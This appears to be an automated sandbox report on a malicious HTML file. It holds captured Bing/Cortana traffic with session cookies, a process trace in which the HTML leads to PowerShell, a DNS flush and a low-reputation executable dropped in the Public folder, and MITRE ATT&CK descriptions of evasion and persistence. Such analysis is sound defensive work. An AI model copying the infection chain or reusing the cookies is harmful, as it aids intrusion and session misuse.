Ascii: PromptSix:t[28],BceAnalyzePromptThree:t[29],BceAnalyzePromptTwo:t[30],BceComparePromptOne:t[31],BceComparePromptTwo:t[32],BceCopilotTitleUpsellCard:t[33],BceWritePromptOne:t[34],BceWritePromptThree:t[35],BceWritePromptTwo:t[36],BookmarksCardTitle:t[37],Bo
2024-01-26 09:18:13 UTC	8192	IN	Data Raw: d9 84 22 2c 22 d8 a8 d8 ad d8 ab 20 d8 b9 d9 86 20 d8 a3 d8 b4 d8 ae d8 a7 d8 b5 20 d9 81 d9 8a 20 7b 30 7d 22 2c 22 d8 a8 d8 ad d8 ab 20 d9 81 d9 8a 20 7b 30 7d 20 d9 88 d8 ac d9 87 d8 a7 d8 b2 20 d8 a7 d9 84 d9 83 d9 85 d8 a8 d9 8a d9 88 d8 aa d8 b1 20 d8 a7 d9 84 d8 b4 d8 ae d8 b5 d9 8a 20 d8 a7 d9 84 d8 ae d8 a7 d8 b5 20 d8 a8 d9 83 22 2c 22 d8 a7 d9 84 d8 af d8 b1 d8 af d8 b4 d8 a9 20 d8 a8 d8 a7 d8 b3 d8 aa d8 ae d8 af d8 a7 d9 85 20 d8 a7 d9 84 d9 85 d8 b9 d8 b1 d9 81 d8 a9 20 d9 85 d9 86 20 d9 85 d8 a4 d8 b3 d8 b3 d8 aa d9 83 20 d9 88 d8 a8 d9 8a d8 a7 d9 86 d8 a7 d8 aa d9 83 2e 22 2c 22 d8 aa d9 84 d8 ae d9 8a d8 b5 20 d8 b1 d8 b3 d8 a7 d8 a6 d9 84 20 d8 a7 d9 84 d8 a8 d8 b1 d9 8a d8 af 20 d8 a7 d9 84 d8 a5 d9 84 d9 83 d8 aa d8 b1 d9 88 d9 86 d9 Data Ascii: "," {0}"," {0} "," .","
2024-01-26 09:18:13 UTC	16384	IN	Data Raw: e0 a6 be e0 a7 b0 e0 a6 bf e0 a6 a4 e0 a6 be 20 e0 a6 b8 e0 a6 ae e0 a7 80 e0 a6 95 e0 a7 8d e0 a6 b7 e0 a6 be 20 e0 a6 95 e0 a7 87 e0 a6 a8 e0 a7 87 e0 a6 95 e0 a7 88 20 e0 a6 b2 e0 a6 bf e0 a6 96 e0 a6 bf e0 a6 ae 3f 22 2c 22 e0 a6 ac e0 a6 9c e0 a6 be e0 a7 b0 e0 a7 b0 20 e0 a6 b8 e0 a6 82 e0 a6 ac e0 a6 be e0 a6 a6 20 e0 a6 86 e0 a6 aa e0 a6 a1 e0 a7 87 e0 a6 9f 22 2c 22 e0 a6 ac e0 a6 a4 e0 a7 b0 20 e0 a6 95 e0 a7 87 e0 a6 a8 e0 a7 87 e0 a6 95 e0 a7 81 e0 a7 b1 e0 a6 be 3f 22 2c 22 e0 a6 ae e0 a7 8b e0 a6 95 20 e0 a6 b8 e0 a7 b0 e0 a7 8d e0 a6 ac e0 a6 b6 e0 a7 8d e0 a7 b0 e0 a7 87 e0 a6 b7 e0 a7 8d e0 a6 a0 20 e0 a6 b8 e0 a6 b9 e0 a6 af e0 a7 8b e0 a6 97 e0 a6 bf e0 a6 a4 e0 a6 be 20 e0 a6 b8 e0 a6 81 e0 a6 9c e0 a7 81 e0 a6 b2 e0 a6 bf e0 a6 b8 e0 Data Ascii: ?"," "," ?","
2024-01-26 09:18:13 UTC	8192	IN	Data Raw: bd d0 b0 d0 bf d0 b8 d1 88 d0 b0 20 d1 83 d1 81 d0 bf d0 b5 d1 88 d0 bd d0 be 20 d0 bf d1 80 d0 b5 d0 b4 d0 bb d0 be d0 b6 d0 b5 d0 bd d0 b8 d0 b5 20 d0 b7 d0 b0 20 d0 bf d1 80 d0 be d0 b4 d0 b0 d0 b6 d0 b1 d0 b0 22 2c 22 d0 9f d0 be d0 bc d0 be d0 b3 d0 bd d0 b8 20 d0 bc d0 b8 20 d0 b4 d0 b0 20 d0 bd d0 b0 d0 bf d0 b8 d1 88 d0 b0 20 d0 bf d1 83 d0 b1 d0 bb d0 b8 d0 ba d0 b0 d1 86 d0 b8 d1 8f 20 d0 b2 20 d0 b1 d0 bb d0 be d0 b3 20 d0 b7 d0 b0 20 d0 bf d1 80 d0 b5 d0 b4 d1 81 d1 82 d0 be d1 8f d1 89 d0 be d1 82 d0 be 20 d0 bf d1 83 d1 81 d0 ba d0 b0 d0 bd d0 b5 20 d0 bd d0 b0 20 d0 bf d1 80 d0 be d0 b4 d1 83 d0 ba d1 82 d0 b0 20 d0 bd d0 b0 20 d0 bf d0 b0 d0 b7 d0 b0 d1 80 d0 b0 22 2c 22 d0 92 d1 80 d1 8a d0 b7 d0 ba d0 b8 20 d0 be d1 82 20 d0 b2 d0 b0 d1 Data Ascii: "," ","
2024-01-26 09:18:13 UTC	13114	IN	Data Raw: e0 a7 8d e0 a6 aa e0 a6 b0 e0 a7 8d e0 a6 95 e0 a7 87 20 e0 a6 86 e0 a6 ae e0 a6 be e0 a6 95 e0 a7 87 20 e0 a6 ac e0 a6 b2 e0 a7 81 e0 a6 a8 22 2c 22 e0 a6 85 e0 a6 a8 e0 a6 b2 e0 a6 be e0 a6 87 e0 a6 a8 20 e0 a6 8f e0 a6 ac e0 a6 82 20 e0 a6 85 e0 a6 ab e0 a6 b2 e0 a6 be e0 a6 87 e0 a6 a8 20 e0 a6 ac e0 a6 bf e0 a6 aa e0 a6 a3 e0 a6 a8 20 e0 a6 95 e0 a7 8c e0 a6 b6 e0 a6 b2 e0 a6 97 e0 a7 81 e0 a6 b2 e0 a6 bf e0 a6 b0 20 e0 a6 a4 e0 a7 81 e0 a6 b2 e0 a6 a8 e0 a6 be 20 e0 a6 95 e0 a6 b0 e0 a7 81 e0 a6 a8 22 2c 22 e0 a6 86 e0 a6 ae e0 a6 bf 20 e0 a6 95 e0 a7 8d e0 a6 af e0 a6 be e0 a6 b0 e0 a6 bf e0 a6 af e0 a6 bc e0 a6 be e0 a6 b0 20 e0 a6 aa e0 a6 b0 e0 a6 bf e0 a6 ac e0 a6 b0 e0 a7 8d e0 a6 a4 e0 a6 a8 20 e0 a6 95 e0 a6 b0 e0 a6 be e0 a6 b0 20 e0 a6 95 Data Ascii: "," ","
2024-01-26 09:18:13 UTC	2230	IN	Data Raw: 74 6f 67 20 6d 65 6e 61 64 c5 be 65 72 61 22 2c 22 4f 76 61 6a 20 72 61 7a 67 6f 76 6f 72 20 6a 65 20 6d 6f c5 be 64 61 20 70 6f 76 65 7a 61 6e 22 2c 22 4f 76 61 6a 20 66 61 6a 6c 20 6a 65 20 6d 6f c5 be 64 61 20 70 6f 76 65 7a 61 6e 22 2c 22 56 69 64 69 74 65 20 73 61 6d 6f 20 73 61 64 72 c5 be 61 6a 20 6b 6f 6a 65 6d 20 69 6d 61 74 65 20 70 72 69 73 74 75 70 22 2c 22 6a 65 20 6b 72 65 69 72 61 6f 2f 6c 61 20 7a 61 64 61 74 61 6b 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 54 65 61 6d 73 20 69 6b 6f 6e 61 22 2c 22 52 61 7a 67 6f 76 61 72 61 6a 74 65 20 73 20 6f 73 6f 62 6f 6d 20 7b 30 7d 22 2c 22 50 6f 70 75 6c 61 72 6e 6f 22 2c 2c 22 49 6b 6f 6e 61 20 76 69 64 65 6f 7a 61 70 69 73 61 22 2c 22 50 72 69 6b 61 7a 22 2c 22 70 72 65 67 6c 65 64 61 6e 6f 22 2c 22 Data Ascii: tog menadera","Ovaj razgovor je moda povezan","Ovaj fajl je moda povezan","Vidite samo sadraj kojem imate pristup","je kreirao/la zadatak","Microsoft Teams ikona","Razgovarajte s osobom {0}","Popularno",,"Ikona videozapisa","Prikaz","pregledano","
2024-01-26 09:18:13 UTC	16384	IN	Data Raw: 20 6c 6c 69 67 22 2c 22 63 6f 6d 70 61 6e 79 73 20 64 65 20 66 65 69 6e 61 20 6c 6c 65 67 65 69 78 65 6e 22 2c 22 44 65 66 69 6e 65 69 78 20 7b 30 7d 22 2c 22 44 65 73 63 61 72 74 61 22 2c 22 64 6f 63 75 6d 65 6e 74 73 20 64 65 20 7b 30 7d 22 2c 22 52 65 63 65 72 63 61 20 64 65 20 66 69 74 78 65 72 73 22 2c 2c 2c 2c 22 4c 65 73 20 76 6f 73 74 72 65 73 20 74 61 73 71 75 65 73 22 2c 22 54 61 73 71 75 65 73 22 2c 22 4c 65 73 20 6d 65 75 65 73 20 74 61 73 71 75 65 73 22 2c 22 43 61 6c 65 6e 64 61 72 69 22 2c 22 45 6c 20 6d 65 75 20 63 61 6c 65 6e 64 61 72 69 22 2c 2c 22 4c 65 73 20 6d 65 75 65 73 20 63 6c 61 73 73 65 73 22 2c 22 46 69 74 78 65 72 73 22 2c 22 45 6c 73 20 6d 65 75 73 20 66 69 74 78 65 72 73 22 2c 22 4d 69 73 73 61 74 67 65 73 22 2c 2c 22 53 75 Data Ascii: llig","companys de feina llegeixen","Defineix {0}","Descarta","documents de {0}","Recerca de fitxers",,,,"Les vostres tasques","Tasques","Les meues tasques","Calendari","El meu calendari",,"Les meues classes","Fitxers","Els meus fitxers","Missatges",,"Su
2024-01-26 09:18:13 UTC	8192	IN	Data Raw: 68 20 7b 30 7d 20 63 79 66 61 72 66 6f 64 22 2c 22 77 65 64 69 20 73 c3 b4 6e 20 61 6d 22 2c 22 4d 61 65 20 20 77 65 64 69 20 73 c3 b4 6e 20 61 6d 64 61 6e 6f 63 68 20 63 68 69 22 2c 22 7b 30 7d 20 6d 75 6e 75 64 20 79 6e 20 c3 b4 6c 22 2c 22 6d 75 6e 22 2c 22 61 64 64 61 73 77 79 64 22 2c 2c 22 2b 7b 30 7d 20 61 72 61 6c 6c 22 2c 22 7b 30 7d 20 79 6e 20 66 77 79 22 2c 22 2b 7b 30 7d 20 61 72 61 6c 6c 22 2c 22 43 79 66 75 6e 6f 6c 22 2c 22 44 61 72 67 61 6e 66 6f 64 22 2c 22 46 79 20 4d 68 72 6f 66 66 69 6c 22 2c 22 46 79 20 4d 68 72 6f 66 66 69 6c 22 2c 22 4e 61 22 2c 22 59 6d 64 64 69 68 65 75 72 69 61 64 61 75 20 61 6d 20 68 79 6e 6e 79 2e 22 2c 22 44 65 6c 77 65 64 64 20 72 68 61 67 6f 6c 77 67 20 6f e2 80 99 72 20 65 69 74 65 6d 20 53 68 61 72 65 50 Data Ascii: h {0} cyfarfod","wedi sn am","Mae wedi sn amdanoch chi","{0} munud yn l","mun","addaswyd",,"+{0} arall","{0} yn fwy","+{0} arall","Cyfunol","Darganfod","Fy Mhroffil","Fy Mhroffil","Na","Ymddiheuriadau am hynny.","Delwedd rhagolwg or eitem ShareP
2024-01-26 09:18:13 UTC	16384	IN	Data Raw: 64 65 6c 65 6d 65 6e 74 65 20 73 69 6e 64 20 61 75 73 67 65 62 6c 65 6e 64 65 74 2e 22 2c 22 45 72 6e 65 75 74 20 76 65 72 73 75 63 68 65 6e 22 2c 22 44 65 72 20 46 65 65 64 20 69 73 74 20 69 6d 20 4d 6f 6d 65 6e 74 20 6e 69 63 68 74 20 76 65 72 66 c3 bc 67 62 61 72 2e 20 56 65 72 73 75 63 68 65 6e 20 53 69 65 20 65 73 20 73 70 c3 a4 74 65 72 20 6e 6f 63 68 20 6d 61 6c 2e 22 2c 22 45 69 6e 20 46 65 68 6c 65 72 20 69 73 74 20 61 75 66 67 65 74 72 65 74 65 6e 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 45 78 63 65 6c 2d 53 79 6d 62 6f 6c 22 2c 22 46 65 65 64 62 61 63 6b 20 61 62 73 65 6e 64 65 6e 22 2c 22 49 73 74 20 64 69 65 73 20 68 69 6c 66 72 65 69 63 68 3f 22 2c 22 41 75 73 20 46 65 65 64 20 65 6e 74 66 65 72 6e 65 6e 22 2c 22 44 61 74 65 69 73 79 6d 62 6f Data Ascii: delemente sind ausgeblendet.","Erneut versuchen","Der Feed ist im Moment nicht verfgbar. Versuchen Sie es spter noch mal.","Ein Fehler ist aufgetreten","Microsoft Excel-Symbol","Feedback absenden","Ist dies hilfreich?","Aus Feed entfernen","Dateisymbo

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.16	49779	173.222.162.7	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:18:14 UTC	866	OUT	GET /rp/F8AL-orC_xaUVA9NgAgcxwQ11N8.js HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
2024-01-26 09:18:14 UTC	903	IN	HTTP/1.1 200 OK Content-Length: 38876 Content-Type: text/javascript; charset=utf-8 Content-MD5: SGZWNfHZcROHo1/xK7KAYQ== Last-Modified: Tue, 23 Jan 2024 02:24:27 GMT ETag: 0x8DC1BBA6C9B70FA Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 1fb840c6-a01e-000b-57c2-4de14d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * Cache-Control: public, no-transform, max-age=161328 Expires: Sun, 28 Jan 2024 06:07:02 GMT Date: Fri, 26 Jan 2024 09:18:14 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.07a6dc17.1706260694.406df3c1 Timing-Allow-Origin: * report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingaotak"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
2024-01-26 09:18:14 UTC	1017	IN	Data Raw: 76 61 72 20 57 53 42 3b 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 28 74 3d 3d 3d 22 53 53 55 45 22 7c 7c 74 3d 3d 3d 22 53 52 45 45 22 29 26 26 6e 2e 69 73 44 6f 63 53 6f 75 72 63 65 45 6e 61 62 6c 65 64 49 6e 51 77 73 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 70 28 6e 2c 74 29 7b 76 61 72 20 69 2c 72 3b 73 77 69 74 63 68 28 74 29 7b 63 61 73 65 22 53 53 55 45 22 3a 72 65 74 75 72 6e 28 28 69 3d 6e 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 6e 2e 47 72 6f 75 70 73 29 3d 3d 3d 6e 75 6c 6c 7c 7c 69 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 69 2e 6c 65 6e 67 74 68 29 3e 30 3b 63 61 73 65 22 53 52 45 45 22 3a 72 65 74 75 72 6e 28 28 72 3d 6e 3d 3d 3d 6e 75 6c Data Ascii: var WSB;(function(n){function e(t){return(t==="SSUE"\|\|t==="SREE")&&n.isDocSourceEnabledInQws(t)}function p(n,t){var i,r;switch(t){case"SSUE":return((i=n===null\|\|n===void 0?void 0:n.Groups)===null\|\|i===void 0?void 0:i.length)>0;case"SREE":return((r=n===nul
2024-01-26 09:18:14 UTC	16384	IN	Data Raw: 76 31 2f 22 2c 77 74 3d 22 68 74 74 70 73 3a 2f 2f 73 75 62 73 74 72 61 74 65 2e 6f 66 66 69 63 65 33 36 35 2e 75 73 7b 30 7d 2f 61 70 69 2f 76 31 2f 22 3b 6e 2e 71 77 73 33 53 44 6f 63 73 45 6e 61 62 6c 65 64 3d 65 3b 63 6c 61 73 73 20 77 20 65 78 74 65 6e 64 73 20 6e 2e 43 6f 72 74 61 6e 61 4a 73 6f 6e 44 61 74 61 50 72 6f 76 69 64 65 72 7b 67 65 74 4e 61 6d 65 28 29 7b 72 65 74 75 72 6e 22 53 75 62 73 74 72 61 74 65 44 61 74 61 50 72 6f 76 69 64 65 72 20 22 2b 74 68 69 73 2e 5f 64 61 74 61 53 6f 75 72 63 65 7d 63 6f 6e 73 74 72 75 63 74 6f 72 28 69 2c 75 2c 66 2c 65 29 7b 76 61 72 20 6f 3b 73 75 70 65 72 28 65 7c 7c 77 2e 67 65 74 44 61 74 61 53 6f 75 72 63 65 28 75 2c 66 29 29 3b 74 68 69 73 2e 5f 61 63 63 65 73 73 54 6f 6b 65 6e 4d 61 6e 61 67 65 72 Data Ascii: v1/",wt="https://substrate.office365.us{0}/api/v1/";n.qws3SDocsEnabled=e;class w extends n.CortanaJsonDataProvider{getName(){return"SubstrateDataProvider "+this._dataSource}constructor(i,u,f,e){var o;super(e\|\|w.getDataSource(u,f));this._accessTokenManager
2024-01-26 09:18:14 UTC	8192	IN	Data Raw: 75 7c 22 7d 2c 45 78 63 65 6c 3a 7b 61 70 70 49 64 73 3a 5b 22 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 45 58 43 45 4c 2e 45 58 45 2e 31 35 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 45 58 43 45 4c 2e 45 58 45 2e 31 36 22 2c 22 7b 36 44 38 30 39 33 37 37 2d 36 41 46 30 2d 34 34 34 42 2d 38 39 35 37 2d 41 33 37 37 33 46 30 32 32 30 30 45 7d 5c 5c 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 5c 5c 4f 66 66 69 63 65 31 35 5c 5c 45 58 43 45 4c 2e 45 58 45 22 2c 22 7b 37 43 35 41 34 30 45 46 2d 41 30 46 42 2d 34 42 46 43 2d 38 37 34 41 2d 43 30 46 32 45 30 42 39 46 41 38 45 7d 5c 5c 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 5c 5c 4f 66 66 69 63 65 31 35 5c 5c 45 58 43 45 4c 2e 45 58 45 22 2c 22 7b 36 44 38 30 39 33 37 37 2d Data Ascii: u\|"},Excel:{appIds:["Microsoft.Office.EXCEL.EXE.15","Microsoft.Office.EXCEL.EXE.16","{6D809377-6AF0-444B-8957-A3773F02200E}\\Microsoft Office\\Office15\\EXCEL.EXE","{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\\Microsoft Office\\Office15\\EXCEL.EXE","{6D809377-
2024-01-26 09:18:14 UTC	13283	IN	Data Raw: 3d 76 2c 63 2e 64 65 70 61 72 74 6d 65 6e 74 3d 69 2e 44 65 70 61 72 74 6d 65 6e 74 2c 74 68 69 73 2e 73 65 74 50 65 72 73 6f 6e 54 65 6d 70 6c 61 74 65 28 63 2c 66 2c 69 2e 4a 6f 62 54 69 74 6c 65 2c 73 29 2c 74 68 69 73 2e 73 65 74 50 65 72 73 6f 6e 43 6f 6e 74 65 78 74 4d 65 6e 75 49 74 65 6d 73 28 63 2c 74 7c 7c 6b 2c 68 29 2c 21 6e 2e 52 75 6e 74 69 6d 65 43 6f 6e 66 69 67 2e 41 6c 77 61 79 73 57 69 64 65 26 26 28 74 7c 7c 6b 29 26 26 28 63 2e 63 61 6c 63 75 6c 61 74 65 43 68 69 6c 64 53 75 67 67 65 73 74 69 6f 6e 73 3d 28 29 3d 3e 74 68 69 73 2e 67 65 74 50 65 72 73 6f 6e 43 68 69 6c 64 53 75 67 67 65 73 74 69 6f 6e 73 28 73 2c 63 2c 72 2c 6f 2c 68 29 29 2c 28 6e 2e 6d 73 62 48 6f 73 74 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 2e 6d 73 62 48 6f 73 74 3d 3d 3d Data Ascii: =v,c.department=i.Department,this.setPersonTemplate(c,f,i.JobTitle,s),this.setPersonContextMenuItems(c,t\|\|k,h),!n.RuntimeConfig.AlwaysWide&&(t\|\|k)&&(c.calculateChildSuggestions=()=>this.getPersonChildSuggestions(s,c,r,o,h)),(n.msbHost===null\|\|n.msbHost===

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.16	49780	173.222.162.7	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:18:15 UTC	866	OUT	GET /rp/GYWzw6Wnh2goOCGJn_s6AhjfSck.js HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E

Target ID:	0
Start time:	10:16:03
Start date:	26/01/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\HARUMQ.html
Imagebase:	0x7ff71e7f0000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	10:16:04
Start date:	26/01/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=2068,i,1703252731387157357,5061710835993395700,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff71e7f0000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	10:16:54
Start date:	26/01/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x7ff7c7980000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:16:54
Start date:	26/01/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecdf0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:17:10
Start date:	26/01/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\ipconfig.exe" /flushdns
Imagebase:	0x7ff679ec0000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:17:14
Start date:	26/01/2024
Path:	C:\Users\Public\filename.exe
Wow64 process (32bit):	false
Commandline:	"C:\users\public\filename.exe"
Imagebase:	0x7ff78a2c0000
File size:	1'661'216 bytes
MD5 hash:	A9C5924063A253F64FB86BC924BE6996
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 1%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:17:39
Start date:	26/01/2024
Path:	C:\Windows\System32\notepad.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\notepad.exe"
Imagebase:	0x7ff6e9990000
File size:	201'216 bytes
MD5 hash:	27F71B12CB585541885A31BE22F61C83
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

